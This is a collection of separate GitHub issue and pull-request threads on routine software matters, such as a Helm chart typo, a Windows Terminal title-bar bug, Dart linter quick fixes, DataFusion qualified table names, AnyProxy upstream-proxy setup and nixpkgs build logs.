Fix spelling error in sonarqube-lts App sts: "initFS.enabeld" -> "initFs.enabled"

Please ensure your pull request adheres to the following guidelines:

[X] explain your motives to contribute this change: what problem you are trying to fix, what improvement you are trying to make
[X] Document your Changes in the CHANGELOG.md file of the respected chart as well as the Chart.yaml
[X] Bump the Version number of the respected chart

Fixes spelling error in the App Statefulset for enabling or disabling the initFs initContainer.

Hi @danragnar , thank you very much for your contribution.
Unfortunately, this is a breaking change. We would have to make it backward compatible. I made a few suggestion.

Yeah, seems like a good idea. I have added your proposed changes.

🤦  I just realized this is targetting our LTS chart. This is contrary to our policy: we only provide updates if there's a security vulnerability or a major degradation in functionality. A typo in a configuration file, although kind of dumb, is not a valid reason to update our chart.
I'm really sorry I didn't notice this earlier. I'm going to have to close this PR. Thank you again for taking the time to open a PR and to attempt to fix this. It's really appreciated.

I understand. But what you can do is fix the documentation so that when someone wants to disable the initFs initcontainer, they're not set out on a 2 hour troubleshooting extravaganza as I was...

That's a fair point 👍 . Updated it here: https://github.com/SonarSource/helm-chart-sonarqube/blob/master/charts/sonarqube-lts/README.md


--source-map-input + --source-map-include-content

My team is in the process of converting a JavaScript project over to TypeScript and have run into an issue with sourcemaps.  In particular, we seem unable to get Closure to include the TypeScript sources in the sourcemap result for Closure's minification of the resulting Javascript.  Any natively-JS inclusions at the minification level (such as goog.exportPath calls) are perfectly documented, but the TypeScript source is missing.
Viewed in Firefox, attempting to see the source for one of the TS files yields:
Error while fetching an original source: TypeError: NetworkError when attempting to fetch resource.
Source URL: ../source/kmwbase.ts

The TypeScript sourcemap provided as an argument to --source-map-input has the TS sources, and if I leave those sources out, the non-inlined sourcemaps work perfectly - which is fine for debugging, but not for distribution.  Is this an implementation gap within Closure's implementation of sourcemaps?

Questions are best asked on StackOveflow or on  the Mailing List
There are multiple flags for source maps and also multiple ways to format a source map. The compiler handles the most common ones, but not all. You may need a pre or post processing tool.
It's also helpful if you create a minimal repo case to look at.
In general though, the compiler can handle your use case.


Buggy title bar appears in focus mode after long uptime

Windows Terminal version
1.19.2682.0
Windows build number
10.0.19045.3570
Other Software
No response
Steps to reproduce

Set up focus mode as the default for all sessions.
Run Windows a reasonably long time without restarting
Open a new terminal
Sometimes (even now, not always) a title bar will appear

Expected Behavior
No title bar in focus mode
Actual Behavior
Title bar appears in focus mode—sporadically and after a long system uptime and resource usage.
The window cannot be dragged using the title bar, but the buttons (min/max/close) still function as expected. There are no tabs or text in the title bar.
Currently, I'm at 3:23:14:42 uptime after waking, vmmem was at 5.5 GB. (After the first crash, it is at 3.8 GB.) If I run a handful of wasteful tasks to run up resource usage (e.g. multiple ripgreps in Win command prompt and WSL at the same time) I can exceed 6 GB usage but this doesn't cause the title bar to appear in newly opened terminal processes.
This seems to be a problem independent of profile and other processes. I can run wt cmd and a title bar is there, then wt ubuntu and it's there, then wt powershell and it's no longer there, even though the other terminal processes are still open.
Restarting Windows will restore the expected behavior: no title bar
(update: unrelated to PID stored in a 16-bit variable; problem exists while all PIDs are under 23000)

The settings thing is definitely separate bug from the focus mode ones. I'll try and narrow this thread down to just the focus mode ones.
I bet it's a pretty similar root cause though. Some sort of leftover state from the refrigeration/reheat.

I think that this happened after build 1.17.11461.0 and before 1.18.2681.0. I did try the following packages:

State
Package

good
Microsoft.WindowsTerminal_1.17.11461.0_8wekyb3d8bbwe.msixbundle

bad
Microsoft.WindowsTerminal_1.18.2681.0_8wekyb3d8bbwe.msixbundle

I can reproduce this issue by simply opening a couple of instances of the terminal repeatedly. At some point, I get this bugged title bar:

It took me 4-5 tries here.
But on 1.17.11461.0, it never does that.
I would like to note also that I found a that version 1.18.2681.0 was significantly slower on startup compared to 1.17.11461.0 for some reason.

That would track with my refrigeration assumption. That was introduced in #15424

FWIW, I'm experiencing this randomly with a uptime of <6,5 hours. I was trying to reproduce it with PowerShell and a clean settings.json, but couldn't get it. With WSL profile I have it every day and can reproduce more easily by opening a few instances. Windows 10 as well.
Any workarounds? Can I disable the refrigeration feature?


Multiple attachments are allowing in Mailboxer?

Tell me that Mailboxer is allowing Multiple attachment or not?
I am trying
<%= f.file_field "attachment" , class:"form-control", multiple: true %> But it not allowing at same time I can attach single file and send email.

https://github.com/mailboxer/mailboxer/issues/344

Closed duplicate of #344


Feature/20240911 enable squashed gaussian on ppo

Some distribution (like SquashedGaussian) does not have an analytical form for the entropy. Thus PPO can not use such distribution in the training.
However, when entropy coefficient of PPO training is 0, ppo does not need to compute the entropy of the policy distribution.
This PR enables using SquashedGaussian and other distributions in PPO when the entropy coefficient is 0.
New implementation ignores the computation of entropy in policy training with 0 coefficient.

LGTM.


fix(detector-gpc): suppress tracing when requesting for GCP metadata

Which problem is this PR solving?
This is a 1st PR for fixing #2320. Some of the detectors are using http or other instrumented modules to get resource related data. In this case GCP resource detector is using http module to get info and this results on some spans being exported. These spans are not related to the instrumented service so it shouldn't be there
Short description of the changes

Update GcpDetector class to implement DetectorSync interface
use context.with along with suppresTracing API to make sure spans are not exported
add a test for it

After a discussion with @trentm I've decided to do a different approach:

update detectors to the new DetectrSync interface. a PR per detector so they are small and easy to review.
once merged add suppressTracing to the ones that need it


Support adding and subtracting timedelta

The following was not possible before:
d = utcdatetime.now()
print d + timedelta(days=1)
print d - timedelta(days=1)
d += timedelta(minutes=15)

With this update it is

Coverage decreased (-1.3%) to 98.734% when pulling e6fea110111a07c4b4a90033410adbf3cef48d9c on gabrys:patch-1 into fabb679bbd7e50da0ae6712db9fbf85bb4122662 on paulfurley:master.

Coverage decreased (-2.5%) to 97.531% when pulling 9ef18360fbd5ad7484dffd8f0923de7ca1bb1cc7 on gabrys:patch-1 into fabb679bbd7e50da0ae6712db9fbf85bb4122662 on paulfurley:master.

Coverage decreased (-2.5%) to 97.531% when pulling 9ef18360fbd5ad7484dffd8f0923de7ca1bb1cc7 on gabrys:patch-1 into fabb679bbd7e50da0ae6712db9fbf85bb4122662 on paulfurley:master.

Hi @gabrys - thanks for this! Great to see some interest in this library :)
It would be great to capture your desired functionality in some tests - it seems like there are a few separate things:

d + timedelta(...)
d += timedelta(...)
bool(utc_dt1 < utc_dt2)
bool(utc_dt < naive_dt)

Also could you give me a hint about why you've deleted the __isub__ method?
Would you like to add these tests or shall I?
Thanks again!
I'm happy

Hi @paulfurley,
__isub__ is not needed if you have defined __sub__. It's just if you want an optimized version of -= operator. Otherwise it'll just do a = a - b (so __sub__ and then re-assignment)

It seems the way to do a proper comparison is supplying __eq__ and __lt__ and decorating the class with @total_ordering from functools.
One more question: is there any reason your code mimics datetime.datetime's __repr__?  Is the reason to be able to construct "the same" date by evaluating the printed date?

To answer your questions:
Why does repr return eg utcdatetime(2016, 10, 7, 10, 7, 14, 709940) ?
I'm following the convention outlined here:

If at all possible, this should look like a valid Python expression that could be used to recreate an object with the same value

I find it the most annoying feature if you print dates it comes back as a tuple
I'm not sure how you get that, if I print a datetime it looks like this:

>>> print(datetime.datetime.now())
2016-10-07 11:09:37.269221

Also is there any reason you didn't make utcdatetime.utcdatetime a subclass of datetime.datetime? I believe the comparison and +/- timedelta operations would work automatically in this case.
That's true, but there's a lot of other stuff that would happen automatically too which is undesirable, for example any method which returns a datetime would have to be overridden to convert to a utcdatetime. That would require a lot more code, and a lot more test coverage.
I find the datetime object complex to work with because of its naive/timezone-aware split. I want the utcdatetime to be very explicitly timezone-aware and make it hard to muddle with a datetime.
To put it another way, if utcdatetime inherits from datetime it's advertising an is-a relationship. That would imply that any time one encounters a utcdatetime it is reasonable to treat it as a datetime, which is not the case.
Thanks again!

For the printing, you're right printing apparently uses the __str__ which is great. I had a case with nose tests being published to JUnit and somewhere along the way from reading the parameters to constructing the test case name in XML the __repr__ is involved, so the tuple appears in the XML instead of a nice date representation. But I guess that doesn't mean we should do something about it.
On the note of

If at all possible, this should look like a valid Python expression that could be used to recreate an object with the same value

I'd have the repr return something like:
utcdatetime('2016-10-07T19:37:12.131Z')

and make utcdatetime accept a string like that as a constructor parameter. It's the way I think about dates is always like that and not tuples and to me it's the only logical way of representing a point in time. But I understand this is a personal thing and you might not like that.


Incorrectly baked first frame for sampled animations with custom IK rig

Describe the bug
Exporting sampled animations with custom IK rig results in incorrectly sampled keys at the start of an animation.
To Reproduce
I've included a stripped down .blend file to make it easier to explore the issue.
I'm using a bone constraint to keep my rig control positioned on a bone, and more constraints to manipulate the IK target based on that control. Only the first couple frames are incorrect, the rest of the animation works as expected.
Screenshots
This is the bug in action.

.blend file/ .gltf
Character.glb (1.8.14)
Character.blend
Version

OS: macOS
Blender Version 3.0.1, 3.1 Beta

Notes
If I duplicate the first keyframe a couple frames behind the animation start, then it does export correctly.

Hello,
Your rig has as dependency cycle. That means that it can't be baked correctly.

You can see the problem in your console.
You can also check that the problem is not only during export, but you can see it in action in viewport:

Go to frame 0
Then go to frame 1
Then  jumping from frame 1 to 2 and back multiple time

The rig settles only after a few cycles.
Don't think there is something we can do with a non correctly build rig.


Suggested code from omit_local_variable_types linter fails at runtime

Take this example:
import 'dart:ffi';
import 'package:ffi/ffi.dart';

class MyStruct extends Struct {
  @Uint32()
  int blah;
}

void main(List<String> arguments) {
  Pointer<MyStruct> a = allocate();
  print("Allocated successfully!");
  free(a);
}

This code works as expected, but the omit_local_variable_types linter doesn't like it because a has an explicit type. In order to fix this, I used Visual Studio Code's "Quick Fix" tool, which changed the contents of main to the following:
  var a = allocate();
  print("Allocated successfully!");
  free(a);

Notice the loss of type information. The linter is happy with this change, but when I run the code, it throws the following exception:
Unhandled exception:
Invalid argument(s): NativeType does not have a predefined size (@unsized). Unsized NativeTypes do not support [sizeOf] because their size is unknown. Consequently, [allocate], [Pointer.load], [Pointer.store], and [Pointer.elementAt] are not available.
#0      _sizeOf (dart:ffi-patch/ffi_patch.dart:42:56)
#1      sizeOf (dart:ffi-patch/ffi_patch.dart:39:10)
#2      allocate (package:ffi/src/allocation.dart:47:33)
#3      main (file:///<snip>/test.dart:11:11)

Which makes complete sense, given that it's trying to allocate an unknown type of native object. My best guess of what it was supposed to have suggested is this: var a = allocate<MyStruct>().
Dart VM version: 2.8.4 (stable) (Wed Jun 3 12:26:04 2020 +0200) on "macos_x64"
Tested on macOS and Windows.

This also happens with functions like List.filled. Example:
void f() {
  List x = List.filled(10, null);
  print(x.runtimeType);
}

dart lint complains about List x, and dart fix --apply turns it into var x, but that also changes program semantics. Originally it prints List<dynamic>, with the fix it prints List<Null>. You can't add anything to List<Null> other than null (and maybe other values with bottom type(s)) so subsequent add calls start to fail.
void f() {
  var x = List.filled(10, null);
  print(x.runtimeType);
  x.add(123); // compile time type error
}

I think this issue fits better as a linter issue, so I'm transferring it there.
The proposal would then be that omit_local_variable_types should stop flagging local variable declarations with a type annotation in the case where the type annotation changes the outcome of all language processing steps (like type inference, generic function instantiation, integer-literal-with-double-value coercion, etc.), or that the associated quick fix should transform additional parts of the declaration such that all properties (static and dynamic) are preserved.


Add support for external tables with qualified names

Which issue does this PR close?

Closes #12607
Rationale for this change

What changes are included in this PR?

This PR adds the ability to create external tables with qualified names.
Are these changes tested?

I add a test to verify the expected behaviour in the issue. Namely, a call to 'create external table staging.fooshould be aTableReference::Partial {schema: "staging", table: "foo"}` qualified reference.
Are there any user-facing changes?

Yes there are user-facing changes. Previously, external tables with qualified names was unsupported.

@alamb I've never written tests for Datafusion before. What's a good spot to test this change?

@alamb I've never written tests for Datafusion before. What's a good spot to test this change?

The best tests I think would be in sqllogictests
Here are the instructions: https://github.com/apache/datafusion/tree/main/datafusion/sqllogictest
Ideally you should be able to extend one of the existing test files in https://github.com/apache/datafusion/tree/main/datafusion/sqllogictest/test_files
Perhaps this one:
https://github.com/apache/datafusion/blob/main/datafusion/sqllogictest/test_files/create_external_table.slt

It seems like the Ci is failing here. Marking as draft as that is addressed. Thank you

Is this one ready for review @OussamaSaoudi ?

FYI @matthewgapp

Sorry for the delay on marking it ready to review, I'd planned on double checking it before review. Looks like it went smooth though lol :D

@OussamaSaoudi thanks for this!

Sorry for the delay on marking it ready to review, I'd planned on double checking it before review. Looks like it went smooth though lol :D

Indeed -- it looks great. Thank you again!


[Question] Is there a jig / socket adapter for programming program raw esp32s3 modules? (IDFGH-12585)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
Is there a jig I can buy or build to program raw esp32s3 modules?

apologies for asking on github. I've always preferred Github's UI.

I've found this for esp32, but nothing for s3

Looking at the pinout, it looks to be mostly compatible with s3. Just missing connections for GPIO3 & GPIO45 (which are strapping pins so most people don't use those anyways.)
esp32:

esp32s3:

@chipweinberger Here is a link: https://www.espressif.com/en/products/equipment/production-testing-equipment/overview
For example, clicking on the first, you can find the list of compatible modules: https://docs.espressif.com/projects/espressif-esp-dev-kits/zh_CN/latest/other/esp-module-prog-1-r/user_guide.html#id1


move api into main specific version folder

Pull Request type
Please check the type of change your PR introduces:

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no API changes)
[ ] Build-related changes
[ ] Documentation content changes
[ ] Other (please describe):

What is the current behavior?

Issue Number: N/A
What is the new behavior?

Does this introduce a breaking change?

[ ] Yes
[ ] No

Other information

This change is

Current dependencies on/for this PR:

main

PR #829

PR #830

PR #831

PR #832

PR #833

PR #834   👈

This comment was auto-generated by Graphite.

crates/papyrus_gateway/src/api.rs line 12 at r1 (raw file):

use crate::v0_3_0::api::api_impl::JsonRpcServerV0_3_0Impl;
use crate::v0_3_0::api::JsonRpcV0_3_0Server;
use crate::v0_3_0::deprecated_contract_class::ContractClass as DeprecatedContractClass;

Add a todo to fix these?
Code quote:
use crate::v0_3_0::deprecated_contract_class::ContractClass as DeprecatedContractClass;

crates/papyrus_gateway/src/v0_3_0/api/mod.rs line 11 at r1 (raw file):

use crate::api::{BlockHashAndNumber, BlockId, EventFilter, EventsChunk, GatewayContractClass};
use crate::v0_3_0::block::Block;

This might be the case where super actually makes more sense.
Code quote:
 crate::v0_3_0


How to implement upstream proxy in any proxy

Hi,
how to implement outgoing proxy in any proxy ? for an example.
if i want to connect to google.com, follwing steps are needed for me.
browser --> anyproxy --> internal proxy --> google.com
my question is how to redirect anyproxy request through our company internal proxy ?
I saw your reply in this question https://github.com/alibaba/anyproxy/issues/314
I have tried to modify the requestOption using following code as per your suggestion.
*beforeSendRequest(requestDetail) {
  const newOption = requestDetail.requestOptions;
  newOption.port = 8080;
  newOption.hostname = 'http://<IP_ADDRESS>';
  return {
    requestOptions: newOption
  }
},

It shows following error from anyproxy.
Error: getaddrinfo ENOTFOUND http://<IP_ADDRESS> http://<IP_ADDRESS>:8080
My upstream proxy running on http://<IP_ADDRESS>:8080
Could you please help me ?

@vegabird
The hostname should be  just <IP_ADDRESS>, you can also refer to the sample from AnyProxy.io modify-the-request-target

@codingfishman Its working perfect with http, how can we implement same with https???

@codingfishman Great. Its working properly with HTTP sites. But I tried with https sites. It does not work.
this is my code snippent.

beforeSendRequest(requestDetail) {
  const newRequestOptions = requestDetail.requestOptions;
  newRequestOptions.hostname = '<IP_ADDRESS>'
  newRequestOptions.port = '8099';
  newRequestOptions.path = requestDetail.url;
  return requestDetail;

},

could you please help me ??

@vegabird @impraveensingh
Can you post the error info when you implement the same with https?
If you are seeing the error Error: unable to verify the first certificate, it means the cert for your https site is not a public trusted one, you can turn off the verification  manually by --ignore-unauthorized-ssl in command line, try anyproxy -h for the detail.
Or if you run AnyProxy as a npm module, please  set option dangerouslyIgnoreUnauthorized:true, see Run-as-npm-module:options for detail.

I need help with this as well as my code does not go to new location.
 *beforeDealHttpsRequest(requestDetail) { //eslint-disable-line
        return true;
    },
    *beforeSendRequest(requestDetail) { //eslint-disable-line
        if (requestDetail.url === "https://api-qa.com/api/v5/config/config") {
            let body = JSON.parse(requestDetail.requestData.toString());
            body.app.id = "57e13d65ee991d8438000061";
            const newRequestOptions = requestDetail.requestOptions;
            newRequestOptions.hostname = "apiqa.com";
            newRequestOptions.path = "api/v5/config";
            return Object.assign({
                url: "https://apiqa.com/api/v5/config",
                requestOptions: newRequestOptions,
                requestData: JSON.stringify(body)
            }, requestDetail);
        }
    },

@vegabird @impraveensingh
Has this problem been solved?  ‘https’ does not work

`# AnyProxy Inner Error
Oops! Error happend when AnyProxy handle the request.
This is an error occurred inside AnyProxy, not from your target website.
Error:
Error: socket hang up
URL:
https://jianshu.com/
Error: socket hang up
at TLSSocket.onHangUp (_tls_wrap.js:1148:19)
at Object.onceWrapper (events.js:313:30)
at emitNone (events.js:111:20)
at TLSSocket.emit (events.js:208:7)
at endReadableNT (_stream_readable.js:1064:12)
at _combinedTickCallback (internal/process/next_tick.js:139:11)
at process._tickCallback (internal/process/next_tick.js:181:9)@codingfishman  ‘https’ does not work.beforeSendRequest(requestDetail) {
const newRequestOptions = requestDetail.requestOptions;
newRequestOptions.hostname = '<IP_ADDRESS>'
newRequestOptions.port = '8099';
newRequestOptions.path = requestDetail.url;
return requestDetail;
},`

@zhuzongzhi
Hi, no. it was not working with https sites. but we found a workaround for this issue. We used httpsproxyagent plugin. Please check the below code.
				if (requestDetail.protocol == "http") {
					var proxy = process.env.http_proxy || proxyData.proxyProtocol + '://' + proxyData.proxyHost + ':' + proxyData.proxyPort;
					var agent = new HttpProxyAgent(proxy);
					const newRequestOptions = requestDetail.requestOptions;
					newRequestOptions.agent = agent;
					return requestDetail;
				}
				else if (requestDetail.protocol == "https") {
					var proxy = process.env.http_proxy || proxyData.proxyProtocol + '://' + proxyData.proxyHost + ':' + proxyData.proxyPort;
					var agent = new HttpsProxyAgent(proxy);
					const newRequestOptions = requestDetail.requestOptions;
					newRequestOptions.agent = agent;
					return requestDetail;
				}

But this is a temporary solution because it doesn't work with proxy authentications like basic, ntlm.
@codingfishman has to help us to solve it permanently.

HI @codingfishman, we used below code.
beforeSendRequest(requestDetail) {
const newRequestOptions = requestDetail.requestOptions;
newRequestOptions.hostname = '<IP_ADDRESS>'
newRequestOptions.port = '8099';
newRequestOptions.path = requestDetail.url;
return requestDetail;
},
This code only work with http.  in https, request is not reaching to the server. I checked the reason for this. The reason is CONNECT method should be called before making https request. It seems that your plugin missing to call connect method.  Can you please solve this issue ? Anyproxy is a wonderful proxy in the node modules. If this issue is solved, it will be the top node plugin in the world.

I also met with the issue described above, try to find some solutions and share it here, if anyone has updates related to this case, It would be much appreciated


SA1206 false positive for ref struct

The following C# 7.2 construct is resulting in a SA1206 false positive:
private ref struct BitHelper
{
}

I take this one.

Same for readonly public struct


Fix domainUserId storage in cookies and Flash storage

domainUserId stored using LocalStorage (cookie/sharedObject) is read with incorrect namespace.
A domainUserId is created for each payload and the storage is updated, the next payload does the same because, it reads from the LocalStorage in a different namespace resulting a null value. Each payload therefore has a unique domainUserId.
Instances of LocalStorage in tracker use this.configStorageNamePrefix + baseName + '.' + this.{cookieDomainHash/sharedObjectDomainHash} as key in setter, and use key id in getter.
Get  and Set

Hey @nakulgan - thanks for catching this. Could you re-phrase the description a bit to make the exact bug clear? I've read it a couple of times and I don't quite follow.

Updated ticket name, please note for the commit

De-scheduling as this was covered elsewhere


\fassign The token T_CS[\fassign] is not defined.

...and in deed, it is not. It seems like \fassign{f}{x}{t} is supposed to be an assignment f(x)\mapsto t, and apparently that should yield an <omdoc:definition> node, but I don't know what the precise omdoc should look like.

what did you do in the end?

for me locally I just copied the one for vassign so I can hunt down more issues ;)


Deploy February 2022 tools update content

Docs Build status updates of commit ab1401f:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

CONTRIBUTING.md
:white_check_mark:Succeeded

sysinternals/downloads/autoruns.md
:white_check_mark:Succeeded
View

sysinternals/downloads/index.md
:white_check_mark:Succeeded
View

sysinternals/downloads/media/zoomit/20130618_Zoomit_v4.5.jpg
:white_check_mark:Succeeded

sysinternals/downloads/media/zoomit/zoomit-main.png
:white_check_mark:Succeeded
View

sysinternals/downloads/procmon.md
:white_check_mark:Succeeded
View

sysinternals/downloads/sysinternals-suite.md
:white_check_mark:Succeeded
View

sysinternals/downloads/sysmon.md
:white_check_mark:Succeeded
View

sysinternals/downloads/zoomit.md
:white_check_mark:Succeeded
View

sysinternals/index.md
:white_check_mark:Succeeded
View

sysinternals/license-faq.yml
:white_check_mark:Succeeded
View

sysinternals/media/index/sysinternals25_banner.png
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


loopback_sample.dart Error: Too few positional arguments

My flutter environment is working properly. This is a compilation error I got.
Initializing gradle...1.9s
Resolving dependencies...3.6s
Compiler message:
lib/src/basic_sample/loopback_sample.dart:46:65: Error: Too few positional arguments: 1 required, 0 given.
List reports = await _peerConnection.getStats();
^
Compiler failed on ~workdir/flutter-webrtc-demo/lib/main.dart

#23 solved in local, create a pull request.

Merged


Use bytestring for wallpaper path on Windows

This fixes #684, where on Windows, the wallpaper setting would fail and instead default to black color wallpaper.
SystemParametersInfoA takes exclusively UTF-8 bytestrings, but python 3 strings are Unicode by default.

imma taek this


Update the year in footer to 2023 for mailer files

Description
In the mailer files the year is set to 2022, we need to update it to 2023.
List of the files where changes are required

payment.html.erb
invoice.html.erb
client_payment_mailer.html.erb
payment.html.erb
send_payment_reminder.html.erb
send_reminder.html.erb

Screenshot

Environment
Linux / MacOS / Android / IOS / Windows
Mozilla / Chrome / Safari

What is the expected behaviour?
The year should be 2023 in footer
What is the current behaviour?
The year is 2022
How to reproduce the issue?

Login as admin
Create a new client with an email that you have
Create a  billable type project for the above client
Add project members and create timesheet entries for the above client & project
Send Invoice to the client
Send payment reminder from the clients page

Any possible solutions?
Change the year to 2023 in the files mentioned above

Hi there!
I've reviewed the issue regarding updating the year to 2023 in the specified files. I'd be happy to work on this and ensure the year is accurately reflected in the footer.
Could you please assign this issue to me? I'll make the necessary updates promptly.
Thank you!

Hi @apoorv1316
I've reviewed the issue regarding updating the year to 2023 in the specified files. I'd be happy to work on this and ensure the year is accurately reflected in the footer.
Could you please assign this issue to me? I'll make the necessary updates promptly.
Thank you!

@swaleha2002 Assigned the issue to you.

Thank you @apoorv1316

@swaleha2002 Were you able to setup and run the app?

I regret to inform you that I am unable to set up and run the app.

@swaleha2002 Please join the discord https://discord.gg/T7Bu3Cvx and share what issues are you facing while setting up the app. I will help you to set up the app.

okay sure!

Hey @apoorv1316  can you assign me if @swaleha2002 is unable to resolve it

@SaiganeshGurrapu16 Assigned it to you. Please join Discord and ping there if you need any help
https://discord.gg/dNP3DWUu

hey @SaiganeshGurrapu16 , are you still working on this issue? If not, i would love work on this issue.

@SaiganeshGurrapu16 Have you started working on this?

hey @apoorv1316 if the assigned person just in case unable to resolve the issue, I would love to try in solving the issue : )

We should remove all year references instead like Rails has done- https://github.com/rails/rails/pull/47467/files


Feature request - Daily Solar radiation

I'm trying to get data to calculate Evapotranspiration (using PyETo), and ideally would have total daily solar radiation data (along with daily T max/min, RH max/min, Avg wind speed).
Is there any way to access daily solar radiation from the API?

This is not something included in the BoM api used by the integration, so can't be done. The only items that are available is what is published in the BoM's mobile app.


Fix tiny typo

Hey @tony-clarke-amdocs, I am trying to revive this project since the maintainer seems to be gone. I also tried contacting him separately, but no response. If he comes back, I plan to submit any changes I make on my back to this one.
For this particular request, I fixed the example with this commit here.


skim: 0.5.1 -> 0.5.2

0.5.2: 2018-10-22
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

Success on x86_64-linux (full log)
Attempted: skim
Partial log (click to expand)
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2/bin
patching script interpreter paths in /nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2
/nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2/bin/sk-tmux: interpreter directive changed from "/usr/bin/env bash" to "/nix/store/r47p5pzx52m3n34vdgqpk5rvqgm0m24m-bash-4.4-p23/bin/bash"
checking for references to /build in /nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2...
shrinking RPATHs of ELF executables and libraries in /nix/store/dxp3vf0vbp5v1vjbmv0cyv0vz1vg766n-skim-0.5.2-vim
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
patching script interpreter paths in /nix/store/dxp3vf0vbp5v1vjbmv0cyv0vz1vg766n-skim-0.5.2-vim
checking for references to /build in /nix/store/dxp3vf0vbp5v1vjbmv0cyv0vz1vg766n-skim-0.5.2-vim...
/nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2

Success on aarch64-linux (full log)
Attempted: skim
Partial log (click to expand)
strip is /nix/store/p9akxn2sfy4wkhqdqa3li97pc6jaz3r1-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2/bin
patching script interpreter paths in /nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2
/nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2/bin/sk-tmux: interpreter directive changed from "/usr/bin/env bash" to "/nix/store/dsyc1z7ck08ga7l0b1jcxx35wj69qcii-bash-4.4-p23/bin/bash"
checking for references to /build in /nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2...
shrinking RPATHs of ELF executables and libraries in /nix/store/43gj2yj1jhdy7xnawbvz3dswf60xscgl-skim-0.5.2-vim
strip is /nix/store/p9akxn2sfy4wkhqdqa3li97pc6jaz3r1-binutils-2.30/bin/strip
patching script interpreter paths in /nix/store/43gj2yj1jhdy7xnawbvz3dswf60xscgl-skim-0.5.2-vim
checking for references to /build in /nix/store/43gj2yj1jhdy7xnawbvz3dswf60xscgl-skim-0.5.2-vim...
/nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2

@GrahamcOfBorg build skim

Success on aarch64-linux (full log)
Attempted: skim
Partial log (click to expand)
/nix/store/xqxvnv2sjdzr718qr52nqlyw9yaygwbj-skim-0.5.2

Success on x86_64-linux (full log)
Attempted: skim
Partial log (click to expand)
/nix/store/s6y4q25anggw7kmqg8zivnmr9wbnqvsd-skim-0.5.2

macOS is currently busy building rustc, This will be not finished in time.

Timed out, unknown build status on x86_64-darwin (full log)
Attempted: skim
Partial log (click to expand)
cannot build derivation '/nix/store/kpjx1rkz98x4cj163rr5kgwszh3afgyg-rust_serde_derive-1.0.18.drv': 6 dependencies couldn't be built
cannot build derivation '/nix/store/rjx3a0q6wg19y9b6id7sqy0jp2nrxkx5-rust_crates-io-0.11.0.drv': 27 dependencies couldn't be built
cannot build derivation '/nix/store/8aggs5cv8ifg0l6b15bbf9p07la74jzp-rust_docopt-0.8.1.drv': 19 dependencies couldn't be built
cannot build derivation '/nix/store/bn3l5khz2a646c1dmpjk3k39hyjfqysq-rust_git2-curl-0.7.0.drv': 19 dependencies couldn't be built
cannot build derivation '/nix/store/qb9hmvy8mjpiakgiim6hbrhbnj0k2y4q-rust_ignore-0.2.2.drv': 18 dependencies couldn't be built
cannot build derivation '/nix/store/qjzkag4bh1gipi327ih2h27c2g23ifhq-rust_cargo-0.22.0.drv': 78 dependencies couldn't be built
cannot build derivation '/nix/store/1wmw79b95m418fa4799sclb6pl9mhakr-rust_cargo-vendor-0.1.13.drv': 79 dependencies couldn't be built
cannot build derivation '/nix/store/jsaqb9fklki5z6fpgqy9f4fmffhdc2xk-skim-0.5.2-vendor.drv': 2 dependencies couldn't be built
cannot build derivation '/nix/store/6x0gza241vsdfr1plcfm378nv1ndj96k-skim-0.5.2.drv': 3 dependencies couldn't be built
error: build of '/nix/store/6x0gza241vsdfr1plcfm378nv1ndj96k-skim-0.5.2.drv' failed


Add info about data available to readme

The readme didn’t have much context on how to get started or what it contained, jazzed it up a bit

Since I'm away the next few days, you have my blessing to make any changes you see necessary and to then merge them without double checking with me


feat: add temporal operations

Is your feature request related to a problem?
There are some temporal operation, which should be added to safe-ds:

[X] (get) millenia, month, year, weekday and day

Desired solution
Add these features to the temporal interface.

This seems to be done already via the class TemporalCell.


Uniform naming across service endpoints

Over time our naming of rest endpoints and their corresponding services have drifted in naming convention. Examples:
Vega core exposes:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/vega/grpc-rest-bindings.yml#L31-L33
But in data node this is exposed as:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L73-L75
Of note here is ListNetworkParameters vs NetworkParameters. I prefer the former, which makes it clear that a collection of items is returned and not a single item (which would be a Get prefix)
@jeremyletang also suggested that TradingProxyService may be more aptly named CoreServiceProxy
Another example is withdrawals:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L103-L109
